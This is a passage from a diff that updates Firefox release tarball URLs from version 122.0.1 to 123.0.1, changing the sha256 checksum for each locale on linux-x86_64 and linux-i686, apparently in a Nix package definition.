{ url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/hy-AM/firefox-123.0.1.tar.bz2"; locale = "hy-AM"; arch = "linux-x86_64"; - sha256 = "8256c6ad0ad1f3380aaabb83683b906f0cd2b0b058a2746a9a8d9cca095a1b04"; + sha256 = "dd54a15145d9daa98a61671fea89a897a6ae2628e3c49869713ad2e116f2a806"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ia/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ia/firefox-123.0.1.tar.bz2"; locale = "ia"; arch = "linux-x86_64"; - sha256 = "8625909890df1bc6e8e88df8cc889ac6f05a548d96617a175bc9aeb97be85c30"; + sha256 = "cba0e9e677e37e689b88b23412b7271dd434935325e8e262544b53f25d71d7b9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/id/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/id/firefox-123.0.1.tar.bz2"; locale = "id"; arch = "linux-x86_64"; - sha256 = "5b137a307ce81c637e4b26bbde5abbdc1a6ac483bf6ec5c28473f4e9fac2d9af"; + sha256 = "a98ee6411b0dc5ce0ec54bd49987a29333f10962582e86f2170accedf10628e3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/is/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/is/firefox-123.0.1.tar.bz2"; locale = "is"; arch = "linux-x86_64"; - sha256 = "b17e1f2e1386a25ddbc4c956b8cdf1452a1b26b963f97a422702388b4195558d"; + sha256 = "c6959761101a9a2d82f97346076b26a5b45c61158f3794e8214373833fe1256a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/it/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/it/firefox-123.0.1.tar.bz2"; locale = "it"; arch = "linux-x86_64"; - sha256 = "40697742feddd0cae8592f9bd1dee30e24d4e41684e645d4ae890ad1743312f9"; + sha256 = "003dccb5c74cbfb521a73cee1a1c34954f86be047325f25c205ada9770e2ecf0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ja/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ja/firefox-123.0.1.tar.bz2"; locale = "ja"; arch = "linux-x86_64"; - sha256 = "6a04035aebed5649fb962aaea113db85c6284319ca18c741d4ce67576c452d13"; + sha256 = "5cf4c2763dc2a0e7cc9aef8657e38cbd173d4b627457783c49e0d172ccf3f57b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ka/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ka/firefox-123.0.1.tar.bz2"; locale = "ka"; arch = "linux-x86_64"; - sha256 = "951ac43e83f1c3813efe6362cc30d3407b71e8849bdeca459f1d0f507fe24e0f"; + sha256 = "71c77304997fa09e74713f2eac78111cf205b6765631c3c92dc78a4dd544411b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/kab/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/kab/firefox-123.0.1.tar.bz2"; locale = "kab"; arch = "linux-x86_64"; - sha256 = "98eea4f28bcf2627a10a87f795048bc1aa78f3a285ae051ebafa0cd4d2bf5e90"; + sha256 = "ad819f057503ceb161e8a5fecddfba338b75b32cc314f12bc9cc80a5680f5fa8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/kk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/kk/firefox-123.0.1.tar.bz2"; locale = "kk"; arch = "linux-x86_64"; - sha256 = "706dc890046e95acb887bded8237eed722218935194e1c6a6a7676452cbc17ec"; + sha256 = "c954182c207bce777b90528be9ba7af3643e7a79ef512d6f2265cb1a1226048e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/km/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/km/firefox-123.0.1.tar.bz2"; locale = "km"; arch = "linux-x86_64"; - sha256 = "b517a7f8bc031ddd1782e61377d1febafeafd2bc235ff1bb3893456ef9b686d6"; + sha256 = "e15587382e625734740b7aa145d640f56bf31cf3584f54de6175e53ac42a1ec4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/kn/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/kn/firefox-123.0.1.tar.bz2"; locale = "kn"; arch = "linux-x86_64"; - sha256 = "90f99fda8b1ba5f1bba3130c51f38666107be2f74a0235bd33f2a0064041cb0e"; + sha256 = "da37801da2162e0df19c3f3b4b5915c53145a75db257b389289fde08c7fd01c4"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ko/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ko/firefox-123.0.1.tar.bz2"; locale = "ko"; arch = "linux-x86_64"; - sha256 = "95b189b69477197bb7014cfc8299d35a07b253890e05a0241e74bf1428621fe1"; + sha256 = "281f13b06cdc6676ebbced34c93b51a5063925b3c9c99c79044870cd8e54b85f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/lij/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/lij/firefox-123.0.1.tar.bz2"; locale = "lij"; arch = "linux-x86_64"; - sha256 = "17e3d23d36c1a8d69bd396255966c77dc0346a939e2bb4e07c30d9df94206fe1"; + sha256 = "bf8bfd6646eeaf2e230bf5bd13f75ae954e5c2ae25a762b8f1d49faa79123a9b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/lt/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/lt/firefox-123.0.1.tar.bz2"; locale = "lt"; arch = "linux-x86_64"; - sha256 = "e5b15d7476498388b2b083d5d4df6753b1793668ad5b03d5d180347ef2b6956e"; + sha256 = "908b4781a1859e974ee7b50235498bd1405f9d64f2c4103a5c8c5e0cc7bebfef"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/lv/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/lv/firefox-123.0.1.tar.bz2"; locale = "lv"; arch = "linux-x86_64"; - sha256 = "781bc0a84e021a2967e96eb0b123b8697fe0085602b91155c0ab5f81b07e0ba7"; + sha256 = "165ae2c28cc10498fb49b954a991a46d48616b4f0efa79b86ca4f9a6c02993e3"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/mk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/mk/firefox-123.0.1.tar.bz2"; locale = "mk"; arch = "linux-x86_64"; - sha256 = "cc6e48f58dfe64fcc3b3361ccc9013392c704053235d2521da0ef206762857e9"; + sha256 = "249e4c1e4b8d0d20a3e36079e68a408fc156517fcac74b848af0c8d10a9b74e8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/mr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/mr/firefox-123.0.1.tar.bz2"; locale = "mr"; arch = "linux-x86_64"; - sha256 = "cab1fc74b0f325afec17acb7b49ca5a3166b65686fe15ad14adfe868aa6cc010"; + sha256 = "74bda8b7609bc718f718af429be6a7cf69e29d998cb1456e0ba83f53182f598b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ms/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ms/firefox-123.0.1.tar.bz2"; locale = "ms"; arch = "linux-x86_64"; - sha256 = "0d3a46f193032b2c3633a9bf4e228a4cc6ba66536d849b4c299b63f42b9c0435"; + sha256 = "dce41631ab21a218995fed4f4dce00340086f745de9d6225ef6ec6dbf0bcaff5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/my/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/my/firefox-123.0.1.tar.bz2"; locale = "my"; arch = "linux-x86_64"; - sha256 = "e429d77852544239e9055c128a44097ca47aed391f202549d0d6b01251b4f1a7"; + sha256 = "46440d3fe90f29aaf3f61b7a827c33a2b0ca61133c21deb5c466ed4d1142db17"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/nb-NO/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/nb-NO/firefox-123.0.1.tar.bz2"; locale = "nb-NO"; arch = "linux-x86_64"; - sha256 = "177744ba68ab213e286267b9a86a47de75c18fc77f779e8e7989239768e35d5f"; + sha256 = "695944d2717b0c818a2285b0cb3032dbfb7ade9b33005a41cd6ae3569e422ca5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ne-NP/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ne-NP/firefox-123.0.1.tar.bz2"; locale = "ne-NP"; arch = "linux-x86_64"; - sha256 = "59e4d7905ee970afa8b3cbdab92d3dbb696af8d50d388efe6fda24ba704f2aa6"; + sha256 = "ab86235bd22026f9f60dc20f0bbdb0c5e746a3fcf2ae82547f2d79bb6c45191a"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/nl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/nl/firefox-123.0.1.tar.bz2"; locale = "nl"; arch = "linux-x86_64"; - sha256 = "a7b143950ce826873f9ac2a16ecb40da4e4fa4f5fc4485375d473567dc46a8ff"; + sha256 = "b58bc987e8abdc0de3e22f2389f1833d869fdb71d30d140367705f87b7939e77"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/nn-NO/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/nn-NO/firefox-123.0.1.tar.bz2"; locale = "nn-NO"; arch = "linux-x86_64"; - sha256 = "bae2a2d29404b2e8b774036118b581255246048dc2db3d1d5c1df0a4d357d46b"; + sha256 = "7a9cd93a1991058c026b8dbdf8d71437517d843a981d0d5175594a79a94ae6c0"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/oc/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/oc/firefox-123.0.1.tar.bz2"; locale = "oc"; arch = "linux-x86_64"; - sha256 = "fb0cdc063b703e83dade0de48d9755e80c441f52b251918be87679ed26c35e50"; + sha256 = "9050a3ae7630f7a1a0ccfe1e11efdb5b532465695ce7ed64832a876aac844d61"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/pa-IN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/pa-IN/firefox-123.0.1.tar.bz2"; locale = "pa-IN"; arch = "linux-x86_64"; - sha256 = "40d614dd180de1bdcded224461552841211460c58199c6b727bfdebe4c5110e2"; + sha256 = "89ed73edd4b30070c359578b3d661bd1a7d4a918caf99bca0002c1b154857d50"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/pl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/pl/firefox-123.0.1.tar.bz2"; locale = "pl"; arch = "linux-x86_64"; - sha256 = "6074705678ebee6b0d6e39bdf7db4cf1de4ee95b04219cda1360f45b78bd8245"; + sha256 = "a7c167c226655f90635607438d80bd4315dc74e05cb3f25cb4798b4e29f4c605"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/pt-BR/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/pt-BR/firefox-123.0.1.tar.bz2"; locale = "pt-BR"; arch = "linux-x86_64"; - sha256 = "06f6e69bb03cd841e671744b055fe68b60aa6d175d4f6d9305f800c1a4adedea"; + sha256 = "ef2cd05b23bc4e62a3842e2b6b63c39f59376983f083ebeb6aee5835c98075e5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/pt-PT/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/pt-PT/firefox-123.0.1.tar.bz2"; locale = "pt-PT"; arch = "linux-x86_64"; - sha256 = "f8422d0279fc3aa964260b1640779bf9779440122d0d218ef561ff6aad5a1b99"; + sha256 = "7ee4f96ca552efcabe88af740051e221828d1ca3fcec3aa98638b5a3e5cc783f"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/rm/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/rm/firefox-123.0.1.tar.bz2"; locale = "rm"; arch = "linux-x86_64"; - sha256 = "cabc9c53234221702d14185197facabc5e0985cd1792f3e7f70ddd4390d32640"; + sha256 = "0c94128c1c61eca0d1c0c265e02325efa74610098e4ca7328b542123d23328b8"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ro/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ro/firefox-123.0.1.tar.bz2"; locale = "ro"; arch = "linux-x86_64"; - sha256 = "37007221fed3907845ba83d61ca2cc80aad46abef89f239e79a408f723539219"; + sha256 = "402ef539cfd6a2d01bd34f01293d0e5e7e9027b37272e6215475e7bc2b671189"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ru/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ru/firefox-123.0.1.tar.bz2"; locale = "ru"; arch = "linux-x86_64"; - sha256 = "d3a20fc678dd39c645a2243bc381e28172a7724d521ed469f61f46dfca251dfb"; + sha256 = "64780e6c833502553026ddb775d19008fe962ac30d31837e0da336eaffe38043"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sat/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sat/firefox-123.0.1.tar.bz2"; locale = "sat"; arch = "linux-x86_64"; - sha256 = "d2e862396f4d639cddf24cb7ce095e8250524707c8fe0101442fed8012c6b3ef"; + sha256 = "9dc4711073345e2e57a41e917f86e70b77bff8fc3c44d7048a953e7e0879ef95"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sc/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sc/firefox-123.0.1.tar.bz2"; locale = "sc"; arch = "linux-x86_64"; - sha256 = "e738bcd151599587a191e91f69a19eeb93b54a9d2c286cb26a036096dedee314"; + sha256 = "e19b72d3cad92d6ff43dea70a6758d56d7322bbe22caa6a87fd54fa60bee9cd5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sco/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sco/firefox-123.0.1.tar.bz2"; locale = "sco"; arch = "linux-x86_64"; - sha256 = "13dedb8a3bd4f3b3829a89631eb89050bc8bf8900eac255a3b1bf5262f5b0315"; + sha256 = "c620abf91ce8fc4d776a2d1663a188984616e266c12443b79779d0c2ee9eb313"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/si/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/si/firefox-123.0.1.tar.bz2"; locale = "si"; arch = "linux-x86_64"; - sha256 = "fb8aea5f87e783a5b2093e47d161941dad0e3361d11cb38fe58fb9ada8bed817"; + sha256 = "aa5c37712961877bcbf19e2f6dff8937e7548ba5a2b4ac12aa5a7567dc7b296c"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sk/firefox-123.0.1.tar.bz2"; locale = "sk"; arch = "linux-x86_64"; - sha256 = "6b8e48667c8dfe2f6653cb1f01f70be5a03dea65093328a4853f3d394bd4e9cc"; + sha256 = "85d5f7d997366e38936564e8c31571d224d4bb2736fafa49e531356995906ffa"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sl/firefox-123.0.1.tar.bz2"; locale = "sl"; arch = "linux-x86_64"; - sha256 = "8ba5e3b60c7ebaf67152159bf70a3994665e558116ab53b14726d34e6de4293e"; + sha256 = "b39ba95f5a19c151a662e27f6be7791490bef484b029734d6db5843006e32758"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/son/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/son/firefox-123.0.1.tar.bz2"; locale = "son"; arch = "linux-x86_64"; - sha256 = "4f3cd3cd5bcf33a56b30ff4e13fe15f430efd388b07cab3e00b2ffbece14723f"; + sha256 = "d85616b33a72d52057cc9f97250a4fca4d070be490bb5910053e39c6d6747c97"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sq/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sq/firefox-123.0.1.tar.bz2"; locale = "sq"; arch = "linux-x86_64"; - sha256 = "4527ebdf68a826e0466e70a4d950def970f95ee7643869d6af5637b4160304d7"; + sha256 = "a0bd91b23dc4c956a09eeb24a740087acaa57a8b56b898fd6e726d3fdd39d4de"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sr/firefox-123.0.1.tar.bz2"; locale = "sr"; arch = "linux-x86_64"; - sha256 = "7561bc0453c754ad669d23fec2514686ec00764370573a41ee0a6e15193a78bb"; + sha256 = "b20bb338b1832ed650607f70b8b0b6c2706c4918ff5819036f27ef2da1d6ccfa"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/sv-SE/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/sv-SE/firefox-123.0.1.tar.bz2"; locale = "sv-SE"; arch = "linux-x86_64"; - sha256 = "839238e8c0fcb271aa31b86a6b0f1263e27a7e772e30caae2b54b54efaa0eb6b"; + sha256 = "696de0158fcfbc7fe0b3b7accd3be8454419c5ab256321d22c1be7bdb1b8f9d5"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/szl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/szl/firefox-123.0.1.tar.bz2"; locale = "szl"; arch = "linux-x86_64"; - sha256 = "40432314dd689be9dd7533f5bee389a737a2f4b3a652be9807ce69c65a565d5b"; + sha256 = "ef78815a24e22fbbcc83a51721ed499e1d83eabe003658704c839d7d8905c6ea"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ta/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ta/firefox-123.0.1.tar.bz2"; locale = "ta"; arch = "linux-x86_64"; - sha256 = "178605125e37528925892974f166183426bb73372e55f733cf8684802b0ed734"; + sha256 = "52d36e16b92c8f19d05c499da7d438199d4f2fbea9ebb02f880bb867dd9e9b04"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/te/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/te/firefox-123.0.1.tar.bz2"; locale = "te"; arch = "linux-x86_64"; - sha256 = "87be183215ec6cd002f2038bdabd58687fd5cb09a850969066ca8171ce8f8849"; + sha256 = "3ecc2c68dbdf2ecaefae6ad4ec2bd5f77d13b8bccf15a2206c5d79a2a37b4d4e"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/tg/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/tg/firefox-123.0.1.tar.bz2"; locale = "tg"; arch = "linux-x86_64"; - sha256 = "46884de41e3d92fbee26eaba661ec83dbf98774c06a7ff78d127beb191aabc91"; + sha256 = "1956515b09c74da7e4636060a962b397dc553b484ed6c1d62edbfa2ff37dda51"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/th/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/th/firefox-123.0.1.tar.bz2"; locale = "th"; arch = "linux-x86_64"; - sha256 = "9bd390a57fad34758f803ee8adb84ec97904eecb78ff6564bed4edc7c8b8aab1"; + sha256 = "125bffcf7ded47b6c212e64ae68fd75835fb6c978bad113ed87510900ac42779"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/tl/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/tl/firefox-123.0.1.tar.bz2"; locale = "tl"; arch = "linux-x86_64"; - sha256 = "b46eb8372d30931ee08603c093b563fbf7e461e27e008cbc9055b52a0f255a93"; + sha256 = "166bcfcda73ea220d8054d83813e29bfa983ef9e4296292f414aa7c525d4d2a2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/tr/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/tr/firefox-123.0.1.tar.bz2"; locale = "tr"; arch = "linux-x86_64"; - sha256 = "576c4c8a916c7dc56d7c9d05c0c408e6744cbf3bd18a384b09070eff58cebae4"; + sha256 = "06e00ef3e0c639606f501fea77b7bdeeaa45a40c201fba4dc006fee6e4dcec78"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/trs/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/trs/firefox-123.0.1.tar.bz2"; locale = "trs"; arch = "linux-x86_64"; - sha256 = "2e2688d77c6618cd9af6a7ea7ad25d2e1889e58f048ea2cad3cb031bfccd67a4"; + sha256 = "7ff12b4344a6b629002dd60ce1b1d1e020e6dd5ac38991ee5e0bb5dca677bb22"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/uk/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/uk/firefox-123.0.1.tar.bz2"; locale = "uk"; arch = "linux-x86_64"; - sha256 = "e68d443391893283076d55ec7eec4bc3e6294fef71a5e46d29937b6aa2cdfe63"; + sha256 = "ec028996370dbdf36c13c0bce640cd198e2cae736180d4a280e422be0c8cd71b"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/ur/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/ur/firefox-123.0.1.tar.bz2"; locale = "ur"; arch = "linux-x86_64"; - sha256 = "18674f0245e0d5494ada3aac535b6514ef11791efc9cc1937c5244a96356f3bd"; + sha256 = "744ce5e135432ab29c8003425254b5c2f5ff04b0afa7a20a08ace52f67dcdb94"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/uz/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/uz/firefox-123.0.1.tar.bz2"; locale = "uz"; arch = "linux-x86_64"; - sha256 = "e8f62d7c923a41e2f56927a0a535684879bd0fcb32153b400696b655f40ed6da"; + sha256 = "b3c0b93926c7e4cd963a75deadeb84a93274d88471408fb6cc552e61731db5fe"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/vi/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/vi/firefox-123.0.1.tar.bz2"; locale = "vi"; arch = "linux-x86_64"; - sha256 = "bff26ad0736edb6acfef09fd9bc9e075b63f1a1f4372db8b40df958ba3ddac82"; + sha256 = "2c9226f3de5bd15d223d048b05afaf9ee45df4605c33f1aed7dfca24ee2bb533"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/xh/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/xh/firefox-123.0.1.tar.bz2"; locale = "xh"; arch = "linux-x86_64"; - sha256 = "d926d0c95fdaa190c7eb50d0bbbcc4645f8313cd7327eb47880ad713293a27b8"; + sha256 = "48b6e5747d8588d87689229fee19aebf418a9f75de913619ceca6bd78b69ea69"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/zh-CN/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/zh-CN/firefox-123.0.1.tar.bz2"; locale = "zh-CN"; arch = "linux-x86_64"; - sha256 = "b8e8fc2ed7f12f6caecbecfc1f9ffdfe3d4c786885b3b2dbb9af3164bb878d99"; + sha256 = "f5608061edf267d886640f5e8c30dc3218086625265ae7ea184e2e47c2d01ee2"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-x86_64/zh-TW/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-x86_64/zh-TW/firefox-123.0.1.tar.bz2"; locale = "zh-TW"; arch = "linux-x86_64"; - sha256 = "27e798e5e16fb4cff152c5c0a87f0961a5fafc3a286d6a2c01903ca68b55299a"; + sha256 = "acd09f9b95264eb45ea5bae3d9488e02ddae6b7058965b8de9986edcf0e0a77d"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ach/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ach/firefox-123.0.1.tar.bz2"; locale = "ach"; arch = "linux-i686"; - sha256 = "8c42826fc2d06a64f7f8119c9d627a8d7295ec31a61b4a4ce418da2d1c67e49f"; + sha256 = "4d0c665a61fddf9ac61131648a324b7948ab2e8f6af13e7ed188b00da7ff43d9"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/af/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/af/firefox-123.0.1.tar.bz2"; locale = "af"; arch = "linux-i686"; - sha256 = "61108266d21b7b4d52214232738f228d2c3fce60eedeaea10e244614239b9d7c"; + sha256 = "d2842a2e3209d82c3061fa9a9d4f50d34f526025fb35185bbca7996fe48bb0db"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/an/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/an/firefox-123.0.1.tar.bz2"; locale = "an"; arch = "linux-i686"; - sha256 = "c068faeab22065aec67ed8ac08ca71b9f3e64cb65cffe140e7763111c8c7a809"; + sha256 = "762655f9ddf758370eacbfbbc99c765b1e38ff76f01dad853920f43ce501d964"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ar/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ar/firefox-123.0.1.tar.bz2"; locale = "ar"; arch = "linux-i686"; - sha256 = "168b4e1b40626a2c17a7a45857d988cabbccb8e24a23601a6dc6f9f47a8a5e22"; + sha256 = "48375bd6f8468c19ad75b0ed9af3a6876f168ac54e92946fa2ee7ffca5734d97"; } - { url = "https://archive.mozilla.org/pub/firefox/releases/122.0.1/linux-i686/ast/firefox-122.0.1.tar.bz2"; + { url = "https://archive.mozilla.org/pub/firefox/releases/123.0.1/linux-i686/ast/firefox-123.0.1.tar.bz2"; locale = "ast"; arch = "linux-i686"; - sha256 = 